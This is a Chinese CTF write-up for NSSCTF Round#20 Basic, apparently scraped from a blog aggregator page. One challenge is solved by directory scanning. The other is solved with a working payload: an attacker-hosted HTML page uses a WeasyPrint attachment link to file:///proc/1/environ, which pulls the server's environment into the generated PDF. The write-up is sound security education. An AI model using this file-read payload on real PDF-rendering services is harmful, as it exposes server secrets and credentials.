当前位置: 首页 > news >正文

【Web】NSSCTF Round#20 Basic 个人wp

目录

前言

真亦假,假亦真

CSDN_To_PDF V1.2


前言

感谢17👴没让我爆零

真亦假,假亦真

直接getshell不行,那就一波信息搜集呗,先开dirsearch扫一下

扫的过程中先试试常规的robots.txt,www.zip,shell.phps,.git,.svn,还有抓包看响应头响应体,均无果,最后扫出来是个/flag,乐

愉快地访问/flag即可 

CSDN_To_PDF V1.2

参考题目:[BUUCTF][FireshellCTF2020]URL TO PDF-CSDN博客

先随便试试

http://124.222.136.33:1337/1.hthtmlml#https://blog.csdn.net/Jayjay___/article/details/136978668

成功收到请求,注意到UA是WeasyPrint 

WeasyPrint是一个开源的HTML/CSS到PDF转换工具,它允许用户使用标准的Web技术(HTML和CSS)创建PDF文档。WeasyPrint能够解析HTML和CSS,并将其转换为可打印的PDF格式,支持诸如排版、布局、字体处理等功能。它是一个功能强大且灵活的工具,常用于生成报告、文档、电子书等需要打印或分享的内容。WeasyPrint是基于Python开发的,并且可以通过命令行或Python API进行使用。 

 vps上挂1.html

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///proc/1/environ">
</body>
</html>

payload:

http://124.222.136.33:1337/1.hthtmlml#https://blog.csdn.net/Jayjay___/article/details/136978668

下载拿到ouput.pdf,但是直接打开是不行的

 

用binwalk来打开文件

拿到flag 

相关文章:

  • 将jupyter notebook文件导出为pdf(简单有效)
  • 7-294 筛法求素数(埃式筛、欧拉筛)
  • 信号处理--情绪分类数据集DEAP预处理(python版)
  • Redis基础命令集详解
  • C#(winform) 调用MATLAB函数
  • 【jenkins+cmake+svn管理c++项目】jenkins回传文件到svn(windows)
  • Django安装及第一个项目
  • 小白从0学习ctf(web安全)
  • Day53:WEB攻防-XSS跨站SVGPDFFlashMXSSUXSS配合上传文件添加脚本
  • 【微服务篇】深入理解微服务网关原理以及Spring Gateway
  • 蓝桥杯第七届大学B组详解
  • 3.学习前后端关联
  • 道可云元宇宙每日资讯|元宇宙标准化工作组成立大会召开
  • 笔记: JavaSE day16笔记 - string字符串
  • Java集合的基础知识
  • [译] 怎样写一个基础的编译器
  • C++回声服务器_9-epoll边缘触发模式版本服务器
  • Java知识点总结(JDBC-连接步骤及CRUD)
  • node.js
  • Node.js 新计划:使用 V8 snapshot 将启动速度提升 8 倍
  • SQLServer插入数据
  • 基于Vue2全家桶的移动端AppDEMO实现
  • 类orAPI - 收藏集 - 掘金
  • 配置 PM2 实现代码自动发布
  • 如何使用 JavaScript 解析 URL
  • 使用 @font-face
  • 算法系列——算法入门之递归分而治之思想的实现
  • 线上 python http server profile 实践
  • 移动端唤起键盘时取消position:fixed定位
  • ionic异常记录
  • 阿里云ACE认证之理解CDN技术
  • #QT(串口助手-界面)
  • (02)Hive SQL编译成MapReduce任务的过程
  • (32位汇编 五)mov/add/sub/and/or/xor/not
  • (附源码)基于ssm的模具配件账单管理系统 毕业设计 081848
  • (附源码)计算机毕业设计ssm基于Internet快递柜管理系统
  • (附源码)计算机毕业设计SSM疫情下的学生出入管理系统
  • (六)什么是Vite——热更新时vite、webpack做了什么
  • (三)Hyperledger Fabric 1.1安装部署-chaincode测试
  • (一)使用IDEA创建Maven项目和Maven使用入门(配图详解)
  • (转)Java socket中关闭IO流后,发生什么事?(以关闭输出流为例) .
  • (转)重识new
  • . Flume面试题
  • ... fatal error LINK1120:1个无法解析的外部命令 的解决办法
  • .NET Core 控制台程序读 appsettings.json 、注依赖、配日志、设 IOptions
  • .net framework 4.0中如何 输出 form 的name属性。
  • .NET 材料检测系统崩溃分析
  • .NET/C# 判断某个类是否是泛型类型或泛型接口的子类型
  • .NET/C# 在代码中测量代码执行耗时的建议(比较系统性能计数器和系统时间)...
  • .NetCore 如何动态路由
  • .net快速开发框架源码分享
  • .xml 下拉列表_RecyclerView嵌套recyclerview实现二级下拉列表,包含自定义IOS对话框...
  • /bin/bash^M: bad interpreter: No such file ordirectory
  • [.NET]桃源网络硬盘 v7.4
  • [] 与 [[]], -gt 与 > 的比较